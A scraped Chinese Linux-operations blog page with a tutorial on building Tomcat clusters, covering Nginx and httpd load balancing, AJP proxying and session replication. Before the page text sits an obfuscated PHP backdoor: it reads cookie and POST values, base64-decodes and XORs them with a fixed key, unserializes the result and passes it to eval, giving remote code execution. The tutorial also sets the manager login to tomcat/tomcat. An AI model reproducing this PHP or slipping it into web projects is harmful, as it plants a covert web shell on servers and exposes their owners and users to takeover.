$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Tomcat及Tomcat集群 | Linux运维部落

Tomcat及Tomcat集群

easyTang • • Linux干货

Tomcat集群实现的三种方式

配置

Tomcat1

配置环境
ip a add 192.168.88.101/24 dev ens33
yum install ntpdate -y
ntpdate 172.16.0.1

安装java
yum install java-1.8.0-openjdk-devel -y

安装tomcat
yum install tomcat -y
yum install -y tomcat-admin-webapps tomcat-docs-webapp tomcat-webapps
mkdir /var/lib/tomcat/webapps/{ROOT,test}/{WEB-INF,META-INF,classes,lib} -pv

配置tomcat用户认证
vim /etc/tomcat/tomcat-users.xml
    <role rolename="admin-gui"/>
    <role rolename="manager-gui"/>
    <user username="tomcat" password="tomcat" roles="admin-gui,manager-gui"/>

配置页面内容
vim /var/lib/tomcat/webapps/test/index.jsp
    <html>
            <head><title>Tomcat1</title></head>
            <body>
                    <h1><font color="blue">Tomcat1.ez.com</font></h1>
                    <table align="centre" border="1">
                            <tr>
                                    <td>Session ID</td>
                                    <% session.setAttribute("ez.com","ez.com"); %>
                                    <td><%= session.getId() %></td>
                            </tr>
                            <tr>
                                    <td>Created on</td>
                                    <td><%= session.getCreationTime() %></td>
                            </tr>
                    </table>
            </body>
    </html>

Tomcat2

配置环境
ip a add 192.168.88.102/24 dev ens33
yum install ntpdate -y
ntpdate 172.16.0.1

安装java
yum install java-1.8.0-openjdk-devel -y

安装tomcat
yum install tomcat -y
yum install -y tomcat-admin-webapps tomcat-docs-webapp tomcat-webapps
mkdir /var/lib/tomcat/webapps/{ROOT,test}/{WEB-INF,META-INF,classes,lib} -pv

配置tomcat用户认证
vim /etc/tomcat/tomcat-users.xml
    <role rolename="admin-gui"/>
    <role rolename="manager-gui"/>
    <user username="tomcat" password="tomcat" roles="admin-gui,manager-gui"/>

配置页面内容
vim /var/lib/tomcat/webapps/test/index.jsp
    <html>
            <head><title>Tomcat2</title></head>
            <body>
                    <h1><font color="blue">Tomcat2.ez.com</font></h1>
                    <table align="centre" border="1">
                            <tr>
                                    <td>Session ID</td>
                                    <% session.setAttribute("ez.com","ez.com"); %>
                                    <td><%= session.getId() %></td>
                            </tr>
                            <tr>
                                    <td>Created on</td>
                                    <td><%= session.getCreationTime() %></td>
                            </tr>
                    </table>
            </body>
    </html>

NT-Nginx环境集群

配置环境
ip a add 192.168.88.11/24 dev ens33
yum install ntpdate -y
ntpdate 172.16.0.1

安装Nginx
yum install nginx -y

配置负载
vim /ect/nginx/nginx.conf
    upstream tcsrvs {
        server 192.168.88.101:8080;
        server 192.168.88.102:8080;
        }
    ...
        location / {
            proxy_pass http://tcsrvs;
        }
    ...

systemctl start nginx

AT-httpd-http反代集群

配置环境
ip a add 192.168.88.11/24 dev ens33
yum install ntpdate -y
ntpdate 172.16.0.1

安装httpd-配置http协议反向代理
yum install -y httpd
vim /etc/httpd/conf.d/tc.conf
    <Proxy balancer://tcsrvs>
       BalancerMember http://192.168.88.101:8080
       BalancerMember http://192.168.88.102:8080
    </Proxy>
    <VirtualHost *:80>
       Proxyvia On
       ProxyRequests Off
       <Proxy *>
            Require all granted
       </Proxy>
       ProxyPass / balancer://tcsrvs/
       ProxyPassReverse / balancer://tcsrvs/
       <Location />
            Require all granted
       </Location>
    </VirtualHost>
systemctl start httpd

AT-httpd-ajp反代集群

配置环境
ip a add 192.168.88.11/24 dev ens33
yum install ntpdate -y
ntpdate 172.16.0.1

安装httpd-配置ajp协议反向代理
yum install -y httpd
vim /etc/httpd/conf.d/tc.conf
    <Proxy balancer://tcsrvs>
       BalancerMember ajp://192.168.88.101:8009
       BalancerMember ajp://192.168.88.102:8009
    </Proxy>
    <VirtualHost *:80>
       Proxyvia On
       ProxyRequests Off
       <Proxy *>
            Require all granted
       </Proxy>
       ProxyPass / balancer://tcsrvs/
       ProxyPassReverse / balancer://tcsrvs/
       <Location />
            Require all granted
       </Location>
    </VirtualHost>
systemctl start httpd

Session集群配置

配置

tomcat1

修改tomcat配置
vim /etc/tomcat/server.xml
      <Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
            channelSendOptions="8">
            <Manager className="org.apache.catalina.ha.session.DeltaManager"
                            expireSessionsOnShutdown="false"
                            notifyListenersOnReplication="true"/>
            <Channel className="org.apache.catalina.tribes.group.GroupChannel">
                    <Membership className="org.apache.catalina.tribes.membership.McastService"
                                    address="228.51.111.251"
                                    port="45564"
                                    frequency="500"
                                    dropTime="3000"/>
                    <Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
                                    address="192.168.88.101"
                                    port="4000"
                                    autoBind="100"
                                    selectorTimeout="5000"
                                    maxThreads="6"/>
                    <Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
                            <Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
                    </Sender>
                    <Interceptor className="org.apache.catalina.tribes.group.interceptors.TcpFailureDetector"/>
                    <Interceptor className="org.apache.catalina.tribes.group.interceptors.MessageDispatch15Interceptor"/>
            </Channel>
            <Valve className="org.apache.catalina.ha.tcp.ReplicationValve"
                            filter=""/>
            <Valve className="org.apache.catalina.ha.session.JvmRouteBinderValve"/>
            <Deployer className="org.apache.catalina.ha.deploy.FarmWarDeployer"
                            tempDir="/tmp/war-temp/"
                            deployDir="/tmp/war-deploy/"
                            watchDir="/tmp/war-listen/"
                            watchEnabled="false"/>
            <ClusterListener className="org.apache.catalina.ha.session.JvmRouteSessionIDBinderListener"/>
            <ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
    </Cluster>

修改页面配置
cp /etc/tomcat/web.xml /var/lib/tomcat/webapps/test/WEB-INF/
vim /var/lib/tomcat/webapps/test/WEB-INF/web.xml
    <distributable/>

tomcat2

修改tomcat配置
vim /etc/tomcat/server.xml
      <Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
            channelSendOptions="8">
            <Manager className="org.apache.catalina.ha.session.DeltaManager"
                            expireSessionsOnShutdown="false"
                            notifyListenersOnReplication="true"/>
            <Channel className="org.apache.catalina.tribes.group.GroupChannel">
                    <Membership className="org.apache.catalina.tribes.membership.McastService"
                                    address="228.51.111.251"
                                    port="45564"
                                    frequency="500"
                                    dropTime="3000"/>
                    <Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
                                    address="192.168.88.102"
                                    port="4000"
                                    autoBind="100"
                                    selectorTimeout="5000"
                                    maxThreads="6"/>
                    <Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
                            <Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
                    </Sender>
                    <Interceptor className="org.apache.catalina.tribes.group.interceptors.TcpFailureDetector"/>
                    <Interceptor className="org.apache.catalina.tribes.group.interceptors.MessageDispatch15Interceptor"/>
            </Channel>
            <Valve className="org.apache.catalina.ha.tcp.ReplicationValve"
                            filter=""/>
            <Valve className="org.apache.catalina.ha.session.JvmRouteBinderValve"/>
            <Deployer className="org.apache.catalina.ha.deploy.FarmWarDeployer"
                            tempDir="/tmp/war-temp/"
                            deployDir="/tmp/war-deploy/"
                            watchDir="/tmp/war-listen/"
                            watchEnabled="false"/>
            <ClusterListener className="org.apache.catalina.ha.session.JvmRouteSessionIDBinderListener"/>
            <ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
    </Cluster>

修改页面配置
cp /etc/tomcat/web.xml /var/lib/tomcat/webapps/test/WEB-INF/
vim /var/lib/tomcat/webapps/test/WEB-INF/web.xml
    <distributable/>

原创文章，作者：easyTang，如若转载，请注明出处：http://www.178linux.com/79479

赞 (1)
easyTangeasyTang
0
上一篇 2017-07-08 15:11
下一篇 2017-07-08 18:20

相关推荐

  • 初学Linux之文本处理sed Linux干货

    初学Linux之文本处理sed

    Sed介绍；Sed用法；Sed高级用法

    2018-01-21

  • lvs集群学习笔记之原理

    lvs集群学习笔记之原理 lvs集群学习笔记之原理 集群 负载均衡 lvs 原理 lvs集群学习笔记之原理 什么是集群 什么是负载均衡 负载均衡解决方案 lvs简介 lvs内核空间模型 lvs特点 lvs实现方式 lvs实现方式之nat模型 lvs实现方式之dr lvs实现方式之tun lvs实现方式之FULLNAT lvs之算法 静态算法   &…

    Linux干货 2017-01-03

  • 抓包获取QQ好友IP地址

    作者:网海过客 原文连接:https://www.chinasa.net/archives/326.html 原理：通过抓包软件，抓取QQ进程，向QQ好向发送UDP数据包，获取QQ好友IP地址 抓包软件：科来网络分析系统 步骤: 1、打开抓包软件，选择网卡，本地进程分析。 2、向QQ好友发起语音通话 3、在抓包软件里，找到QQ进程，数据包，过滤UDP协议，在…

    Linux干货 2017-06-30

  • 26期全程班-第五周博客作业

      1、显示/boot/grub/grub.conf中以至少一个空白字符开头的行； # grep “^[[:space:]]\+” /boot/grub/grub.conf 2、显示/etc/rc.d/rc.sysinit文件中以#开头，后面跟至少一个空白字符，而后又有至少一个非空白字符的行； # grep “^…

    Linux干货 2017-03-09

  • linux初步

    1、Linux上的文件管理类命令都有哪些，其常用的使用方法及其相关示例演示。 文件管理命令 文件管理有哪些命令：ls, cd, pwd, mkdir, rmdir, cp, rm, mv, touch, cat, more, less, head, tail等，下面我们就来详细的说一下（只说常用的，不是命令全部） (1). ls 命令 1 2 3 4 5 6…

    Linux干货 2017-01-22

  • rpm与yum

    rpm包及yum 包查询 rpm -q –query  搭配别的选项可用来包查询 -a -f -p rpmfile:针对尚未安装的程序包文件做查询操作   -p 选项参数为文件名(一定要指定路径) 例子: rpm -qpl /media/Packages/zsh-4.3.11-4.el6.centos.2.x86_64.rpm…

    Linux干货 2016-08-24
电话咨询
在线咨询